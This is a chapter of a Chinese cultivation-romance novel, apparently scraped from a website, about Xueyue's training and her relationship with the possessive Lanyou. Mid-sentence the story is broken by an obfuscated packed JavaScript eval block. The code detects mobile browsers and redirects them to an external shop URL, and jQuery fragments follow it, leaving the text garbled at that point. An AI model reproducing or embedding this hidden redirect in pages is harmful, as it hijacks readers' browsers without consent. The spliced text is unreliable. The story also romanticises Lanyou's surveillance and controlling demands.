仙门遴选在七月,而仙门大会在九月。
现今五月,离遴选只余两月。
雪月为了能够入选,这两月也算是足够刻苦,每日的修炼时间从七个时辰延长至了九个时辰。
她每天最期待的便是去灵泉。
倒也不只是因为灵气充足,还有个很大的原因是他会来。他的出现总是莫名其妙,摸不透定律,但是只要是申时,便会准时出现在灵泉,陪她打坐。
回想起来,好像是一次子渊与她在灵泉切磋之后,他便来了。为了防止他暴露,她申时便不敢再邀其他人比武了。
从某种方面来说,申时变成了只属于两个人的时间,还挺浪漫。
其实也没有那么好。
因为只要他在身边,她会忍不住去偷看他。也不怪她犯花痴,毕竟那张脸可以说是天上有地上无,什么卫玠、潘安,在他面前都黯淡无光。
偏偏他一派正经模样,惹得她更想靠近。
但自从上次偷亲他额头之后,他变得极为谨慎。非但不让亲不让抱,就连牵手也要先请示他,跟个无情无欲的和尚似的。
雪月本就不是个安分的人,总是偷偷摸摸靠近他。但是他的反应总是比她快,事后还会郑重地告诫她不能再做此逾矩之事,否则他马上离开。
对于这番威胁,雪月也束手无策,她也舍不得他走。
最重要的一点,他弹伏羲琴时,灵泉的灵力会被引动,在流动间运转得更为高效,从而使她更容易吸收,修行速度也更快。
在遴选之前,她已经达到了元婴期大圆满,这个修行速度完全是常人难以抵达的。就连凌玄长老也忍不住夸赞,她是修炼的天才,就连剑谦也难以企及,假想来日定能成神。
没有人知道,她早就丧失了成神的资格。
不过无论如何,她都要继续修下去。
如今剑谦师兄总算愿意和自己切磋,也不失为一桩好事。
她刚和剑谦在演武场进行一场苦战,虽仍以失败告终,但受益匪浅。
她靠在栏杆旁用帕巾擦汗,回首看到剑谦又去找隐梅切磋了。
这个人难道不会累吗?太可怕了。
她回到住处,想要好好躺一躺,却发现蓝幽出现在房中。
雪月问道:“蓝幽,有何事吗?”
蓝幽缓缓走上前:“没事不能找你?”
雪月打着哈哈:“能,当然能。只是你这样直接出现在我房中,实在有些意外。”
她去茶案给他倒了杯茶水,伸手递给他时,他半天不接。
“蓝幽?”
“你今日和谁在一起?”他面无表情地看着她。
雪月眨了眨眼:“我今日一直在独自修炼,并无他人。”
“有。”他忽然开口,闷闷道,“你今日同一个男弟子切磋,昨日也是,前日也是。”
“你说的是剑谦师兄啊。”她伸了个懒腰,“我现今终于能与剑谦师兄切磋了,实在是高兴。”
“前日呢?”他继续问。
雪月思索片刻,回答:“子渊师兄和姜泓师姐。”
“前日?”
“冯策和于煜师兄。”
“大前日?”
雪月见他如此追问,不由得蹙眉:“你一直问这些做什么?”
蓝幽走近了些,高大的身子遮住了光线,无端发出寒气。
“近几个月,你已与剑谦交战15次,子渊23次,于煜10次,冯策12次。”
闻言,雪月露出一个得意的笑:“原来我这么刻苦,劳烦你记得这样清楚。只是你这般偷窥我,实在是过分了些吧!”
他又走近了些,雪月觉着奇怪,往后退了几步,却恰好跌坐到了凳子上。她屁股生疼,蓝幽却俯身撑了上来。
“我过分?你可知一个月来,你同剑谦笑了10次,子渊18次,于煜8次,冯策7次。”他目光冰冷。
方才的计数,她只当是玩笑话,如今面对这一番话,她不由得生寒,浑身颤栗着。
“你记这些做什么?你终日偷窥我……”
她的话被打断了,只因蓝幽的食指在她颧骨处摩挲着,弄得她有些痒。
“雪月,你身边的师兄未免太多了些。”他沉声道。
“宗门之内本就弟子繁多,与我有何干系?”雪月瞪着他,“再者,你到底想说什么?”
他挑起她的下巴,脸凑得极近,用一种近乎是命令的语气说道:“不许去找他们切磋,不许对他们笑,不许和他们有只言片语的交流。”
“蓝幽!”她怒道,“我是修士,这里是宗门!我不同他们切磋如何进步?”
“我陪你练。”
雪月本还气着,听到此话忽然消气了:“你陪我练?”
“嗯。”
他退开了,拉着她的手将她整个人从凳子扶起,随后迅速展开一个传送阵。不过一息,二人已然来到那片葱郁的竹林居。
雪月抬手遮住刺眼的日光,耳边传来鸟雀鸣叫的声响,鼻尖是翠竹的清苦和土腥混着花香。
“去外面。”
蓝幽开口,领着她来到竹林居外不过百里的一片空地。此地四处围竹,恰好遮住了日光,凉快又空旷,是一处天然的竞技场。
他俯身从落叶处挑出一根粗长的竹枝,简单剔除了上面的杂叶,转身面向雪月。
雪月挑眉:“你与我切磋,就拿这么一根竹枝,未免太小瞧了我。”
“足够了。”他轻笑。
“哦?”
雪月觉得他在挑衅自己,也不管礼仪,踏步冲锋,将银剑劈向那根看似不堪一击的竹枝。却见他将腕一挑,竟然扛住了利刃的攻击。
两人交战了半个时辰,打得大汗淋漓,最后以雪月的失败告终。
雪月接过蓝幽递来的帕巾,胡乱擦拭着满头的汗,闷闷道:“你好厉害,我的利剑竟然打不过你的竹枝。”
“天地兵器,本无高下,输赢成败,皆系于人。”蓝幽将竹枝随手一扔,负手转身而去。
“照你的意思,是我太弱了。”雪月快步走到他身边,“唉,如何都打不过你。”
“莫要一味追求输赢。”他放慢了步子,等她追上,“你如今的剑术,与我初次与你切磋之时,已然精进不少。”
闻言,雪月愣住,不禁瞪大双眼。
“初次切磋?这便是我同你的初次切磋啊。”她又思索了片刻,慌张道,“莫非去年在幻境?……不是幻境!”
“不是幻境!”她连忙追上他,“是真的!我是真的遇见了你,与你切磋?”
蓝幽这才意识到自己说漏话了,意味深长地看了她一眼,没有答复,只是看着。
“你是如何进入到心魔幻境之中的?”她捏着下巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525386|203464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想了一会儿,自己得到了答案,“你这么强大,果真是天下无处不可达。”
他没有搭理,继续往竹林居走。
雪月反而被点醒,雀跃着追上他:“那我去年遭反噬那次,闯进我的房间给我喂药的人可是你?”
他没有回复。
雪月追着问:“这么说,你在那时便如此关心我了?嗯?”
“为了什么?还是说……你对我一见钟情,情难自已?”
蓝幽停住了,手按在她脑袋上,目光温柔。雪月以为他要回答了,却听他说:“晚上想吃什么?”
“你……你转移话题!”
“吃不吃?”
“吃!”
不得不说,他的手艺是真的好,食材再朴素也能做出一番风味。雪月大快朵颐,饶是她辟谷很多年了,面对美食也难以抗拒。
凉风习习,扫得竹林间一派清爽。两人在院中吃饭,像极了刚干完活稍作歇息的寻常夫妻。
饭后,雪月帮他收拾了碗筷,难得有一段清闲时间。
蓝幽在廊下坐着,雪月坐于其侧,悄悄地靠在他肩上。
他没有抗拒,很好。
雪月偷偷覆上他搭在腿上的右手,却被他另一只手给赶走了。
“不要动手动脚。”他淡淡道。
雪月皱了皱眉,不满道:“我们二人连亲吻之事都做过了,怎么牵个手还不行?”
他没说话,头歪了一点,耳根子泛红。
雪月看见了,心生玩味,朝他耳根子吹气,还用手戳向他的小腿。
“雪月!”他直直看向雪月,表情非常严肃。
这倒惹得雪月叛逆的心思占了上风,她抬手在他身上乱摸一通。正当蓝幽生气想抓住她时,她却滑如泥鳅般溜走了。
她停在栏杆旁,吐着舌头扮了个鬼脸。
“叫你假正经!”
蓝幽皱起眉头瞪着她:“你最好逃快些,莫要让我抓到了。”
却见她满脸不屑,笑道:“剑术我比不过你,逃跑还比不过吗?”
说罢,雪月便循着长廊小跑起来。正当她得意之时,却在拐角处看到了伫立已久的蓝幽。
他歪头靠在栏杆旁,月光洒在他脸上增添了几分凉薄。
“继续跑。”他语气极为郑重,好像真生气了。
雪月见大事不妙,转身就想换个方向逃,却被他捏住手腕往怀中带。
“蓝幽,我跟你开玩笑呢。”她强撑一个笑脸。
“呵。”他轻笑一声,看不出情绪。
“想摸?去房中慢慢摸。”
雪月被这番大胆的言辞震撼到了,还没细细消化,却被他拉着带进了一个房间。
蓝幽将她扔到床上,随后撑在她身上。
极近的距离,雪月能清晰地看到他眼中的自己,她慌了,硬着头皮道:“蓝幽,我错了,我再也不捉弄你了。”
蓝幽轻笑一声,气息打在她脸上,痒痒的。
“无妨。想摸便摸,哪里都可以。”
“啊?”雪月茫然地眨眨眼,“真的?”
“嗯。”他眉眼一弯,笑道,“真的。”
先前的疏离早就叫她不满,如今大好机会在前,她岂能错过。于是她长吸口气,抬手将掌心贴到他胸前,隔着冰冷的衣物,感受到了温热的体温。
还有心跳声。